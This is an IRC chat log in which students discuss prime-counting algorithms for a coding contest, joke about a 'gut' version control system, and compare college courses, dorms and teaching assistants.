[2015-03-02T18:40:39-0500] <JacobEdelman_> who
[2015-03-02T18:40:46-0500] <JacobEdelman_> maybe i will learn to program in idris :P
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[2015-03-02T19:31:00-0500] <Hyper> JacobEdelman_: A friend of mine really likes idris
[2015-03-02T19:31:19-0500] <Hyper> he was extolling the virtues of dynamic typing to me a month or two ago
[2015-03-02T19:31:22-0500] <Hyper> erm
[2015-03-02T19:31:26-0500] <Hyper> dependant typing
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[2015-03-02T20:07:42-0500] <JacobEdelman_> Yeah it is quite cool
[2015-03-02T20:46:23-0500] <+awe> JacobEdelman_: because it's seriously hard to find good resources on this
[2015-03-02T20:46:49-0500] <+awe> JacobEdelman: but yes, to make it easier on me because the whole point is an optimizing competition, not an algorithm competition
[2015-03-02T20:46:52-0500] <+awe> JacobEdelman_: ^
[2015-03-02T20:46:54-0500] <JacobEdelman_>  I made my own
[2015-03-02T20:47:18-0500] <+awe> But I don't need this competition to tell me you're better at algo stuff than I am.
[2015-03-02T20:47:28-0500] <JacobEdelman_> But fine I'll aim for time
[2015-03-02T20:47:35-0500] <JacobEdelman_> *tomorrow
[2015-03-02T20:47:35-0500] <+awe> If you don't get it to me, I'm not going to submit anything anyway.
[2015-03-02T20:48:23-0500] <JacobEdelman_> Awwwe that's so nice
[2015-03-02T20:49:16-0500] <+awe> I mean, I'd hope after being in an algorithms summer program for two years that you'd be pretty good at it.
[2015-03-02T20:49:54-0500] <Hyper> awe: that's lame
[2015-03-02T20:49:57-0500] <Hyper> don't be lame
[2015-03-02T20:52:50-0500] <+awe> Hyper: I'm not going to waste my time trying to optimize a naive sieve.
[2015-03-02T20:54:01-0500] <Hyper> awe: just enter
[2015-03-02T20:54:03-0500] <Hyper> :(
[2015-03-02T20:54:08-0500] <Hyper> not entering is no fun
[2015-03-02T20:54:24-0500] <Hyper> who cares if you don't win?
[2015-03-02T20:54:25-0500] <+awe> I also asked you a bunch of times before we started to confirm that this wasn't an algorithm competition.
[2015-03-02T20:54:54-0500] <+awe> I don't care if I don't win, but there's no point in bothering to optimize a naive algorithm when I know for a fact I won't even be competitive with it.
[2015-03-02T20:54:54-0500] <Hyper> are you getting angry at me that Jacob (claims) to have a better algorithm?
[2015-03-02T20:55:00-0500] <+awe> No.
[2015-03-02T20:55:03-0500] <+awe> I'm not angry at all.
[2015-03-02T20:55:11-0500] <+awe> Also, he does have a better algorithm.
[2015-03-02T20:55:25-0500] <Hyper> I haven't seen code :)
[2015-03-02T20:55:46-0500] <+awe> I've seen a SO answer with the time complexity analysis of the solution.
[2015-03-02T20:55:53-0500] <+awe> So, yeah, it's definitely better.
[2015-03-02T20:56:02-0500] <Hyper> ok, why can't you implement it?
[2015-03-02T20:56:19-0500] <+awe> There's a lot of handwaving in the only few things I can find that describe it.
[2015-03-02T20:56:43-0500] <JacobEdelman_> I think if you really want to do a run time competition there should be a specific algorithm
[2015-03-02T20:56:51-0500] <+awe> JacobEdelman_: I agree.
[2015-03-02T20:57:01-0500] <+awe> JacobEdelman_: which is why I was asking you to publish yours.
[2015-03-02T20:57:11-0500] <+awe> Hyper: The only reference implementation I can find is hyper-optimized and very complex.
[2015-03-02T20:57:23-0500] <JacobEdelman_> Awe: I can put a program that gets pi(x) tonight
[2015-03-02T20:57:38-0500] <+awe> JacobEdelman_: I thought you already wrote a Python implementation of this stuff?
[2015-03-02T20:57:46-0500] <JacobEdelman_> Yeah
[2015-03-02T20:58:03-0500] <JacobEdelman_> But I was in the middle if rewriting post of it
[2015-03-02T20:58:15-0500] <+awe> Hyper: Basically, the big issue is that there's horrible resources on the prime counting function.
[2015-03-02T20:58:22-0500] <JacobEdelman_> I guess I can just find my old working version
[2015-03-02T20:58:36-0500] <JacobEdelman_> Awe: um.. Just use Wikipedia
[2015-03-02T20:58:37-0500] <+awe> Hyper: I know the name of the algorithm, but finding an example implementation is hard, and I'm not *that* math-y.
[2015-03-02T20:58:51-0500] <Hyper> I guess a later one will be optimizing a specific sorting algorithm or something x.x
[2015-03-02T20:58:56-0500] <JacobEdelman_> It has a simple algo
[2015-03-02T20:59:00-0500] <Hyper> perhaps for a specific datatype
[2015-03-02T20:59:17-0500] <hardmath123> hmmmm if Wine works with X window system, can I theoretically install winey stuff on an sshey server and run things remotely?
[2015-03-02T20:59:31-0500] <+awe> https://en.wikipedia.org/wiki/Prime-counting_function#Algorithms_for_evaluating_.CF.80.28x.29
[2015-03-02T20:59:44-0500] <+awe> The Legendre is sort of clear.
[2015-03-02T20:59:58-0500] <+awe> But requires primes already.
[2015-03-02T21:00:41-0500] <+awe> I can understand technically what they're saying in all of these, I guess, but I can't imagine what an implementation of that looks like at all.
[2015-03-02T21:02:03-0500] <Hyper> meissel looks pretty simple
[2015-03-02T21:02:35-0500] <Hyper> recursive as heck but I think you could fairly easily turn that into a loop
[2015-03-02T21:02:54-0500] <JacobEdelman_> I used lehmer
[2015-03-02T21:03:10-0500] <+awe> Meissel-Lehmer is the best way.
[2015-03-02T21:03:11-0500] <JacobEdelman_> only needs sqrt(n) primes
[2015-03-02T21:03:13-0500] <JacobEdelman_> which is fine
[2015-03-02T21:03:22-0500] <+awe> How do you get the sqrt(n) primes?
[2015-03-02T21:03:25-0500] <+awe> just sieve up to that?
[2015-03-02T21:03:39-0500] <JacobEdelman_> yup
[2015-03-02T21:03:56-0500] <JacobEdelman_> that takes less than n time
[2015-03-02T21:03:58-0500] <JacobEdelman_> so its fine
[2015-03-02T21:04:04-0500] <+awe> Actually, sorry, my bad.
[2015-03-02T21:04:06-0500] <+awe> The best way is uhh...
[2015-03-02T21:04:13-0500] <+awe> "Lagarias, Miller, Odlyzko, Deléglise and Rivat"
[2015-03-02T21:04:15-0500] <+awe> I forgot about that paper.
[2015-03-02T21:04:23-0500] <JacobEdelman_> well
[2015-03-02T21:04:27-0500] <JacobEdelman_> that way is refered to as 
[2015-03-02T21:04:31-0500] <JacobEdelman_>  Deléglise and Rivat
[2015-03-02T21:04:34-0500] <JacobEdelman_> and from what I had seen
[2015-03-02T21:04:36-0500] <JacobEdelman_> is good because
[2015-03-02T21:04:40-0500] <JacobEdelman_> it can 
[2015-03-02T21:04:45-0500] <JacobEdelman_> be parrellized
[2015-03-02T21:04:48-0500] <+awe> I saw a few people refer to it as the whole list of names lol.
[2015-03-02T21:05:08-0500] <+awe> Anyway, yeah, I think we definitely need to just pick an algorithm next time and then optimize that.
[2015-03-02T21:06:09-0500] <JacobEdelman_> Well most of the lehmer method
[2015-03-02T21:06:21-0500] <JacobEdelman_> Takes place inside the phi function
[2015-03-02T21:06:42-0500] <JacobEdelman_> Which is more or less impossible to optimize
[2015-03-02T21:08:34-0500] <+awe> Anyway, yeah, this is definitely the sort of thing that I understand better as code, which is why I've asked for the reference.
[2015-03-02T21:08:58-0500] <JacobEdelman_> Okay
[2015-03-02T21:09:03-0500] <Hyper> JacobEdelman_: well you can turn it from recursive into iterative but that's more or less it
[2015-03-02T21:09:13-0500] <+awe> Hyper: that should happen automatically. ;)
[2015-03-02T21:09:19-0500] <JacobEdelman_> I'm loading up my home folders gut repo now
[2015-03-02T21:10:13-0500] <+awe> We should make a VCS called gut.
[2015-03-02T21:12:33-0500] <Hyper> and site can be called guthib
[2015-03-02T21:13:23-0500] <+awe> Brilliant!
[2015-03-02T21:16:24-0500] <+alokpathy> dafuq
[2015-03-02T21:16:26-0500] <+alokpathy> LOL
[2015-03-02T21:16:28-0500] <+awe> Pharyngeal: hi bb, where u at?
[2015-03-02T21:23:13-0500] <Tamini> Hyper: no copyright lawsuits whatsoever! :D
[2015-03-02T21:23:32-0500] <Hyper> Tamini: I see no potential conflict with an existing business
[2015-03-02T21:24:11-0500] <Tamini> neither do i
[2015-03-02T21:24:31-0500] <+awe> I think guthub would be a nicer name though lol
[2015-03-02T21:25:10-0500] <Hyper> awe: that sounds like an organ selling website
[2015-03-02T21:25:12-0500] <Tamini> awe: that sounds like you're running a butchery
[2015-03-02T21:25:14-0500] <Tamini> or that :P
[2015-03-02T21:26:08-0500] <JacobEdelman_> awe: i have to sleep now
[2015-03-02T21:26:11-0500] <JacobEdelman_> will put up
[2015-03-02T21:26:19-0500] <JacobEdelman_> my implementation
[2015-03-02T21:26:20-0500] <JacobEdelman_> tommorow
[2015-03-02T21:26:38-0500] <Hyper> 9:30... kaaay
[2015-03-02T21:26:44-0500] <JacobEdelman_> Tamini: trademark, not copyright #ippropertynerd
[2015-03-02T21:26:50-0500] <JacobEdelman_> oh wait
[2015-03-02T21:26:54-0500] <JacobEdelman_> #ipnerd
[2015-03-02T21:27:55-0500] <JacobEdelman_> Hyper: correction, I need to start getting ready for sleep, typically there is a one hour gap between that and actuall sleep
[2015-03-02T21:28:00-0500] <Tamini> darn, okay
[2015-03-02T21:28:15-0500] <Tamini> i'm going to actually read the book im writing my paper on now
[2015-03-02T21:29:52-0500] <+awe> Did I say we weren't going to sell organs?
[2015-03-02T21:30:44-0500] <Tamini> oh, if we want to, that;d be fun too
[2015-03-02T21:37:01-0500] <hardmath123> i tabbed over, got really excited that we were discussing organs, and then realized you were talking about the icky biological organs rather than the cool kind.
[2015-03-02T21:40:08-0500] <Tamini> heh
[2015-03-02T21:40:15-0500] <Tamini> we can talk about the cool kind too!
[2015-03-02T21:40:26-0500] <Tamini> also, i mean, those icky biological organs keep you alive
[2015-03-02T21:42:00-0500] <JacobEdelman_> I prefer organs made of organs
[2015-03-02T21:42:12-0500] <JacobEdelman_> Can we sell those?
[2015-03-02T21:42:18-0500] <Tamini> dan, so we could cut you open and play music with your innards?
[2015-03-02T21:42:26-0500] <Tamini> or did i interpret that backwards
[2015-03-02T21:42:40-0500] <JacobEdelman_> I'm not saying
[2015-03-02T21:43:35-0500] <hardmath123> singers are just biological bagpipes
[2015-03-02T21:44:31-0500] <+alokpathy> Insightful.
[2015-03-02T21:45:00-0500] <Tamini> makes sense.
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[2015-03-02T21:04:40-0500] <JacobEdelman_> it can 
[2015-03-02T21:04:44-0500] <JacobEdelman_> be parrellized
[2015-03-02T21:04:48-0500] <+awe> I saw a few people refer to it as the whole list of names lol.
[2015-03-02T21:05:08-0500] <+awe> Anyway, yeah, I think we definitely need to just pick an algorithm next time and then optimize that.
[2015-03-02T21:06:09-0500] <JacobEdelman_> Well most of the lehmer method
[2015-03-02T21:06:21-0500] <JacobEdelman_> Takes place inside the phi function
[2015-03-02T21:06:42-0500] <JacobEdelman_> Which is more or less impossible to optimize
[2015-03-02T21:08:34-0500] <+awe> Anyway, yeah, this is definitely the sort of thing that I understand better as code, which is why I've asked for the reference.
[2015-03-02T21:08:58-0500] <JacobEdelman_> Okay
[2015-03-02T21:09:03-0500] <Hyper> JacobEdelman_: well you can turn it from recursive into iterative but that's more or less it
[2015-03-02T21:09:13-0500] <+awe> Hyper: that should happen automatically. ;)
[2015-03-02T21:09:19-0500] <JacobEdelman_> I'm loading up my home folders gut repo now
[2015-03-02T21:10:13-0500] <+awe> We should make a VCS called gut.
[2015-03-02T21:12:33-0500] <Hyper> and site can be called guthib
[2015-03-02T21:13:23-0500] <+awe> Brilliant!
[2015-03-02T21:16:24-0500] <+alokpathy> dafuq
[2015-03-02T21:16:26-0500] <+alokpathy> LOL
[2015-03-02T21:16:28-0500] <+awe> Pharyngeal: hi bb, where u at?
[2015-03-02T21:23:13-0500] <Tamini> Hyper: no copyright lawsuits whatsoever! :D
[2015-03-02T21:23:32-0500] <Hyper> Tamini: I see no potential conflict with an existing business
[2015-03-02T21:24:11-0500] <Tamini> neither do i
[2015-03-02T21:24:31-0500] <+awe> I think guthub would be a nicer name though lol
[2015-03-02T21:25:10-0500] <Hyper> awe: that sounds like an organ selling website
[2015-03-02T21:25:12-0500] <Tamini> awe: that sounds like you're running a butchery
[2015-03-02T21:25:14-0500] <Tamini> or that :P
[2015-03-02T21:26:08-0500] <JacobEdelman_> awe: i have to sleep now
[2015-03-02T21:26:10-0500] <JacobEdelman_> will put up
[2015-03-02T21:26:19-0500] <JacobEdelman_> my implementation
[2015-03-02T21:26:20-0500] <JacobEdelman_> tommorow
[2015-03-02T21:26:38-0500] <Hyper> 9:30... kaaay
[2015-03-02T21:26:44-0500] <JacobEdelman_> Tamini: trademark, not copyright #ippropertynerd
[2015-03-02T21:26:50-0500] <JacobEdelman_> oh wait
[2015-03-02T21:26:54-0500] <JacobEdelman_> #ipnerd
[2015-03-02T21:27:55-0500] <JacobEdelman_> Hyper: correction, I need to start getting ready for sleep, typically there is a one hour gap between that and actuall sleep
[2015-03-02T21:28:00-0500] <Tamini> darn, okay
[2015-03-02T21:28:15-0500] <Tamini> i'm going to actually read the book im writing my paper on now
[2015-03-02T21:29:52-0500] <+awe> Did I say we weren't going to sell organs?
[2015-03-02T21:30:44-0500] <Tamini> oh, if we want to, that;d be fun too
[2015-03-02T21:37:01-0500] <hardmath123> i tabbed over, got really excited that we were discussing organs, and then realized you were talking about the icky biological organs rather than the cool kind.
[2015-03-02T21:40:08-0500] <Tamini> heh
[2015-03-02T21:40:14-0500] <Tamini> we can talk about the cool kind too!
[2015-03-02T21:40:26-0500] <Tamini> also, i mean, those icky biological organs keep you alive
[2015-03-02T21:42:00-0500] <JacobEdelman_> I prefer organs made of organs
[2015-03-02T21:42:12-0500] <JacobEdelman_> Can we sell those?
[2015-03-02T21:42:18-0500] <Tamini> dan, so we could cut you open and play music with your innards?
[2015-03-02T21:42:26-0500] <Tamini> or did i interpret that backwards
[2015-03-02T21:42:40-0500] <JacobEdelman_> I'm not saying
[2015-03-02T21:43:35-0500] <hardmath123> singers are just biological bagpipes
[2015-03-02T21:44:31-0500] <+alokpathy> Insightful.
[2015-03-02T21:45:00-0500] <Tamini> makes sense.
[2015-03-02T22:08:16-0500] Mode is +nt
[2015-03-02T22:09:18-0500] <hardmath123> http://jackschaedler.github.io/circles-sines-signals/index.html O_o
[2015-03-02T22:09:19-0500] <hardmath123> So well-done.
[2015-03-02T22:09:31-0500] <hardmath123> Like, sheer quality of everything there. Mindblowing.
[2015-03-02T22:19:05-0500] <Tamini> wait, whoa :O
[2015-03-02T22:19:17-0500] <Tamini> the first thing i notice is fourier transforms, heh
[2015-03-02T22:19:44-0500] <Tamini> so pretty
[2015-03-02T22:34:45-0500] <calc0000> thanks for this page hardass
[2015-03-02T22:34:46-0500] <calc0000> i mean hardmath
[2015-03-02T22:35:58-0500] <hardmath123> ...
[2015-03-02T22:59:26-0500] <+awe> lol
[2015-03-02T23:28:30-0500] <jwoglom> Tamini: oh hey. when did you rejoin, lol.
[2015-03-02T23:28:35-0500] <jwoglom> i haven't looked in here in weeks
[2015-03-02T23:28:38-0500] <Tamini> lol
[2015-03-02T23:28:44-0500] <Tamini> like
[2015-03-02T23:28:51-0500] <Tamini> yesterday? i dont remember
[2015-03-02T23:29:22-0500] <jwoglom> heh, cool
[2015-03-02T23:29:47-0500] <+awe> hi JacobEdelman_ 
[2015-03-02T23:29:48-0500] <+awe> erm
[2015-03-02T23:29:49-0500] <+awe> jwoglom: 
[2015-03-02T23:30:08-0500] <jwoglom> hi awe
[2015-03-02T23:30:11-0500] <+alokpathy> jwoglom: You're alive :D
[2015-03-02T23:30:20-0500] <jwoglom> i never left :P
[2015-03-02T23:30:36-0500] <+alokpathy> Well you never spoke :P
[2015-03-02T23:30:56-0500] <jwoglom> i had no useful commentary to add :P
[2015-03-02T23:31:38-0500] <+alokpathy> We appreciate useless commentary :D
[2015-03-02T23:32:32-0500] <jwoglom> well then
[2015-03-02T23:32:41-0500] <jwoglom> hmm looks like i haven't done a backup in a few days, i should plug in my external hdd
[2015-03-02T23:32:41-0500] <+awe> That's true.
[2015-03-02T23:32:50-0500] <jwoglom> oh, hey, look it's 11:32pm
[2015-03-02T23:32:57-0500] <jwoglom> ugh another facebook group notification
[2015-03-02T23:50:43-0500] JacobEdelman_ (uid15877@pdgn-5ih.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-03-03T00:22:55-0500] ernest (uid26793@pdgn-dot.9lf.7cuf9e.IP) joined the channel
[2015-03-03T00:34:41-0500] <ernest> Herro
[2015-03-03T00:35:02-0500] <Tamini> ernest! :O
[2015-03-03T00:35:25-0500] <Tamini> i don't think i've ever seen you on here before o-o
[2015-03-03T00:35:50-0500] <ernest> Alok told me to
[2015-03-03T00:35:55-0500] <ernest> What's up
[2015-03-03T00:36:08-0500] <ernest> Did you go to hmmt?
[2015-03-03T00:36:16-0500] <Tamini> yeahh
[2015-03-03T00:36:21-0500] <Tamini> I didn't see you at all, though.
[2015-03-03T00:36:31-0500] <+alokpathy> Ernest :D
[2015-03-03T00:36:34-0500] <Tamini> Alok told me you were in our guts room but
[2015-03-03T00:36:40-0500] <Tamini> I claim he's lying because I never saw you! >_<
[2015-03-03T00:37:14-0500] <ernest> I was at the front of the room
[2015-03-03T00:37:27-0500] <ernest> How
[2015-03-03T00:37:35-0500] <ernest> Hi alok
[2015-03-03T00:37:51-0500] <+alokpathy> How is your life? :P
[2015-03-03T00:38:22-0500] <Tamini> wait darn
[2015-03-03T00:38:28-0500] <Tamini> I must have been too immersed in the guts sets
[2015-03-03T00:38:33-0500] <Tamini> TJ B aced the first four! :D
[2015-03-03T00:38:37-0500] <Tamini> and heh, yeah, how's MIT?
[2015-03-03T00:39:11-0500] <ernest> It's nice
[2015-03-03T00:39:24-0500] <+alokpathy> Are there any Aloks?
[2015-03-03T00:39:36-0500] <ernest> Not that I know, no
[2015-03-03T00:39:55-0500] <+alokpathy> woo
[2015-03-03T00:39:57-0500] <+alokpathy> I'm still special
[2015-03-03T00:40:25-0500] <Tamini> only in america, alok :P
[2015-03-03T00:40:35-0500] <Tamini> how's math?
[2015-03-03T00:40:45-0500] <Tamini> I've heard super mixed reviews of it's easy / wtf is going on
[2015-03-03T00:41:20-0500] <ernest> Um
[2015-03-03T00:42:06-0500] <ernest> In 18.702 (algebra by artin) the quizzes are really easy, the psets can be nontrivial
[2015-03-03T00:42:17-0500] <grantwu> miao miao miao miao miao miao miao miao miao miao miao miao miao miao miao miao miao miao miao
[2015-03-03T00:42:25-0500] <ernest> woof
[2015-03-03T00:42:32-0500] <grantwu> MEOW MEOW MEOW?
[2015-03-03T00:42:36-0500] <grantwu> @whois grantwu
[2015-03-03T00:42:36-0500] <+awebot> grantwu: grantwu is the resident cat.
[2015-03-03T00:42:48-0500] <ernest> Dog Dog Dog
[2015-03-03T00:43:07-0500] <Tamini> ernest: i think you're doing it wrong :<
[2015-03-03T00:43:09-0500] <+awe> hi ernest
[2015-03-03T00:43:17-0500] <Tamini> darn, nice
[2015-03-03T00:43:21-0500] <Tamini> also, where do you live? 
[2015-03-03T00:43:24-0500] <ernest> Aaarooooon
[2015-03-03T00:43:27-0500] <Tamini> I didn't see you when I went to visit vx
[2015-03-03T00:43:31-0500] <ernest> Senior haus
[2015-03-03T00:43:41-0500] <Tamini> wait darn not east campus like
[2015-03-03T00:43:44-0500] <Tamini> every other math kid ever
[2015-03-03T00:44:13-0500] <ernest> I know right???
[2015-03-03T00:44:18-0500] <ernest> I didn't know
[2015-03-03T00:44:31-0500] <Tamini> aww D:
[2015-03-03T00:44:32-0500] <ernest> I should totally move :(
[2015-03-03T00:44:39-0500] <Tamini> you totally should
[2015-03-03T00:44:43-0500] <Tamini> I really loved east campus
[2015-03-03T00:44:44-0500] <grantwu> gg
[2015-03-03T00:44:54-0500] <Tamini> but then I saw the all girl's dorm (idr the name oops)
[2015-03-03T00:45:08-0500] <Tamini> and basically that dorm's rooms are like 4x the size of any room in east campus
[2015-03-03T00:45:11-0500] <Tamini> so i was like "welp gg"
[2015-03-03T00:45:12-0500] <+awe> I live in the area of my campus where all the pot smokers are.
[2015-03-03T00:45:17-0500] <ernest> nice
[2015-03-03T00:45:28-0500] <ernest> Yeah my dorm allows smoking and cats
[2015-03-03T00:45:44-0500] <ernest> My hall's nonsmoking tho
[2015-03-03T00:45:45-0500] <Tamini> wait, cats? :OOOO
[2015-03-03T00:45:48-0500] <grantwu> MIAO MIAO MIAO MIAO MIAO MIAO MIAO?
[2015-03-03T00:45:50-0500] <Tamini> damn
[2015-03-03T00:45:59-0500] <grantwu> meeeeeeeeeeeeeeeeeeoooooooooooooooooooooooooowwwwwwwwwwwwwwwwwwwwwwww?
[2015-03-03T00:46:01-0500] <+awe> Mostly because the only other options are another area where pot smokers are but that's farther up a big hill, an area where all the day drinkers and loud party people are, an area where everyone wants to kill themselves, and an area where there's obnoxious engineering kids everywhere.
[2015-03-03T00:46:45-0500] <grantwu> Miao :(
[2015-03-03T00:47:06-0500] <+awe> While the convenience of being next to my classes would be nice, most of the STEM kids suck shit.
[2015-03-03T00:48:12-0500] <Tamini> that's a sweeping generalization, awe :P
[2015-03-03T00:48:19-0500] <+awe> No.
[2015-03-03T00:48:22-0500] <+awe> I said most, not all of them. :p
[2015-03-03T00:48:32-0500] <Tamini> fiiiine
[2015-03-03T00:52:11-0500] <+awe> Tamini: a lot of kids I've interacted with seem to think they know everything even when they've in fact done virtually nothing.
[2015-03-03T00:52:46-0500] <+awe> Tamini: A kid yelled at me back when I used Atom for not using Vim despite the fact that he himself has only ever used Eclipse and barely knows Java.
[2015-03-03T00:53:28-0500] <Tamini> that is the stupidest thing i've ever heard
[2015-03-03T00:53:53-0500] <Tamini> what business is it of his(hers) what editor you use
[2015-03-03T00:53:59-0500] <Tamini> >_>
[2015-03-03T00:54:08-0500] <Tamini> and i mean, i'd think that's a typical uni thing
[2015-03-03T00:54:20-0500] <Tamini> a lot of the kids were probably really smart relative to everyone else where they started out
[2015-03-03T00:54:44-0500] <+awe> I was but I was smart relative to people who are smart relative to everyone else. :p
[2015-03-03T00:55:07-0500] <Tamini> heh, yeah
[2015-03-03T00:55:11-0500] <Tamini> and you're special like that
[2015-03-03T00:55:12-0500] <+awe> ernest: was smart relative to people who are smart relative to people who are smart relative to people who are smart relative to ... relative to everyone else
[2015-03-03T00:55:30-0500] <Tamini> LOL
[2015-03-03T00:55:49-0500] <Tamini> for me, I'm stupid relative to tj, so i seek acknowledgement from random people on the internet! 
[2015-03-03T00:55:53-0500] <+awe> lol
[2015-03-03T00:56:01-0500] <Tamini> ...except then I meet people that are smarter than me on the internet and I cry >_<
[2015-03-03T00:57:02-0500] <grantwu> I crie too
[2015-03-03T00:57:08-0500] <grantwu> oops
[2015-03-03T00:57:15-0500] <grantwu> Miao miao meow.
[2015-03-03T00:57:59-0500] <grantwu> Hmm is atom a good Notepad++ replacement
[2015-03-03T00:58:54-0500] <+awe> grantwu: Yah, but is slow.
[2015-03-03T00:59:10-0500] <+awe> It's good, but very not performant.
[2015-03-03T00:59:16-0500] <grantwu> Oh :/
[2015-03-03T00:59:27-0500] <grantwu> I use Notepad++ mainly as just a place to stick
[2015-03-03T00:59:30-0500] <grantwu> My passwords
[2015-03-03T00:59:32-0500] <grantwu> heeheeeee
[2015-03-03T00:59:57-0500] <+awe> Atom start-up times are eh.
[2015-03-03T01:00:20-0500] <+awe> And real performance on files with >300 lines noticeably deteriorates.
[2015-03-03T01:00:28-0500] <grantwu> Wait is there anyone else from TJ other than Tamini
[2015-03-03T01:01:02-0500] <grantwu> I really need to dual boot sigh
[2015-03-03T01:01:45-0500] <grantwu> So I can vim all the things
[2015-03-03T01:01:51-0500] <grantwu> Although I promised someone I would learn spacemacs..
[2015-03-03T01:02:28-0500] <Tamini> uhh
[2015-03-03T01:02:34-0500] <Tamini> a lot of people are here from tj, why do you ask?
[2015-03-03T01:02:42-0500] <Tamini> i cound four from a quick skim
[2015-03-03T01:02:44-0500] <grantwu> I remembered asking people if they knew people I know
[2015-03-03T01:02:50-0500] <grantwu> from tj.  I forget if that was you.
[2015-03-03T01:02:55-0500] <Tamini> ooh, ooh, ask me!
[2015-03-03T01:03:02-0500] <Tamini> and nope, i haven't been around very much
[2015-03-03T01:03:08-0500] <grantwu> I have a problem with asking/telling people the same stories over and over again.
[2015-03-03T01:03:08-0500] <Tamini> I've been trying to not fail at math (and failing at that)
[2015-03-03T01:03:19-0500] <grantwu> So I have a habit of pre-emptively checking
[2015-03-03T01:03:21-0500] <Tamini> well, then we'll get along
[2015-03-03T01:03:25-0500] <Tamini> I have a horrid memory :P
[2015-03-03T01:03:27-0500] <grantwu> Do you know a Jocelyn Huang/Alice Zhang
[2015-03-03T01:03:34-0500] <Tamini> ALICE ZHAAANG
[2015-03-03T01:03:38-0500] <Tamini> wait, didnt she graduate
[2015-03-03T01:03:43-0500] <Tamini> I'm pretty sure she graduated last year
[2015-03-03T01:03:46-0500] <grantwu> ...yeah...
[2015-03-03T01:03:49-0500] <grantwu> She goes to college here
[2015-03-03T01:03:54-0500] <Tamini> oh, ahahaha
[2015-03-03T01:03:55-0500] <Tamini> >_>
[2015-03-03T01:03:58-0500] <Tamini> we met for a very bad reason
[2015-03-03T01:04:00-0500] <Tamini> but she's really nice
[2015-03-03T01:04:22-0500] <Tamini> i dont know jocelyn though...
[2015-03-03T01:04:25-0500] <Tamini> where do you go to school? o-o
[2015-03-03T01:04:28-0500] <grantwu> CMU?
[2015-03-03T01:05:06-0500] <grantwu> (also would Alice recognize Tamini)
[2015-03-03T01:05:26-0500] <Tamini> uhh
[2015-03-03T01:05:29-0500] <Tamini> not Tamini
[2015-03-03T01:05:33-0500] <Tamini> and don't ask about me because
[2015-03-03T01:05:42-0500] <Tamini> itll bring up an embarrassing story I'd rather not have brought up >_<
[2015-03-03T01:05:49-0500] <Tamini> i was a bad sophomore
[2015-03-03T01:05:52-0500] <grantwu> alright
[2015-03-03T01:06:02-0500] <grantwu> hrm
[2015-03-03T01:06:11-0500] <grantwu> well, she struggle with math too? blegh
[2015-03-03T01:06:56-0500] <grantwu> proof needs to be more widely taught in hs -_-
[2015-03-03T01:07:20-0500] <Tamini> heh, yeah
[2015-03-03T01:07:25-0500] <Tamini> I am a strong advocate of that
[2015-03-03T01:07:26-0500] <Tamini> wait, cmu
[2015-03-03T01:07:37-0500] <Tamini> do you know Doowon Kang/Cyrus Tabrizi?
[2015-03-03T01:07:53-0500] <grantwu> no
[2015-03-03T01:08:06-0500] <Tamini> Aww, darn
[2015-03-03T01:08:15-0500] <Tamini> how is cmu? :)
[2015-03-03T01:08:17-0500] <grantwu> 16 mutuals...
[2015-03-03T01:08:20-0500] <grantwu> meh
[2015-03-03T01:08:30-0500] <grantwu> I wish I got more sleep
[2015-03-03T01:09:01-0500] <Tamini> aww D:
[2015-03-03T01:09:18-0500] <grantwu> I think the CS courses here are well-designed
[2015-03-03T01:09:43-0500] <Tamini> I would think so, yeah :P
[2015-03-03T01:09:54-0500] <grantwu> Like I talk to my friends at other colleges and I'm fairly sure their courses are harder
[2015-03-03T01:10:12-0500] <grantwu> But lulz they aren't going to get anything out of them...
[2015-03-03T01:10:38-0500] <Tamini> why do you think that?
[2015-03-03T01:10:50-0500] <grantwu> Exhibit A: Friend at MIT
[2015-03-03T01:11:07-0500] <grantwu> Problem set conflated DFS with branch and bound
[2015-03-03T01:11:38-0500] <grantwu> Minimal scaffolding
[2015-03-03T01:11:48-0500] <grantwu> she ended up copying code from someone else
[2015-03-03T01:11:52-0500] <grantwu> But she cited it, so its k
[2015-03-03T01:11:58-0500] <grantwu> Exhibit B: Friend at UPenn
[2015-03-03T01:12:43-0500] <grantwu> With AP:CS credit, she got put into a course with sophomores... they start them off with OCaml and in a couple weeks they're into recursive data structures
[2015-03-03T01:13:06-0500] <Tamini> ah, okay.
[2015-03-03T01:13:19-0500] <grantwu> Pretty sure she barely passed
[2015-03-03T01:13:22-0500] <Tamini> so basically people are just getting put into things that are way too difficult for them then getting discouraged?
[2015-03-03T01:13:38-0500] <grantwu> Kind of.  And also just bad sequencing
[2015-03-03T01:13:58-0500] <grantwu> The intro C course is run by a 26 year old professor whose PhD thesis was basically the design of the course, and it shows
[2015-03-03T01:14:03-0500] <grantwu> *here
[2015-03-03T01:14:22-0500] <Tamini> haha
[2015-03-03T01:14:24-0500] <Tamini> is that a good thing?
[2015-03-03T01:14:30-0500] <grantwu> yeah
[2015-03-03T01:15:00-0500] <grantwu> He cares, he iterates on the course, he teaches it every semester
[2015-03-03T01:15:03-0500] <Tamini> well, you got really lucky then
[2015-03-03T01:15:10-0500] <Tamini> from what i've heard, finding really good classes is hard.
[2015-03-03T01:15:52-0500] <grantwu> At CMU, I think most of the classes are good... our admissions department kind of sucks at advertising it though
[2015-03-03T01:16:22-0500] <Tamini> oh, I bet
[2015-03-03T01:16:23-0500] <grantwu> To be fair it's hard to advertise "we actually give a shit about pedagogy!"
[2015-03-03T01:16:34-0500] <Tamini> one of my friends sat in on a scs lecture and gushed about it for an hour
[2015-03-03T01:16:53-0500] <grantwu> xD
[2015-03-03T01:18:02-0500] <grantwu> Also I really appreciate the undergrad TA program... there are more freshmen TAs than PhD TAs
[2015-03-03T01:19:11-0500] <Tamini> heh, that must be nice
[2015-03-03T01:19:32-0500] <Tamini> also alokpathy: I'm sorry you're going to be mad but sammy confirmed he'd be attending pclassic today :)
[2015-03-03T01:19:37-0500] <Tamini> come sit near us this time!
[2015-03-03T01:20:25-0500] <+awe> grantwu: I'd say pls no, but honestly, the PhD TAs I have are just as bad as the undergrad ones.
[2015-03-03T01:21:06-0500] <+awe> My intro C course is super shitty because the professor I have for it is actually just using materials by another (much better) professor.
[2015-03-03T01:21:08-0500] <grantwu> q.q I'm an undergrad TA
[2015-03-03T01:21:26-0500] <+awe> And the TAs we have for it are morons.
[2015-03-03T01:21:33-0500] <+awe> One's a masters student and one just did his PhD defense.
[2015-03-03T01:21:37-0500] <+awe> Neither of them know anything about C.
[2015-03-03T01:21:40-0500] <Tamini> maybe you just need a better TA selection process
[2015-03-03T01:21:58-0500] <grantwu> But honestly what is the point of advertising that we have xyz Nobel Prize winners here?
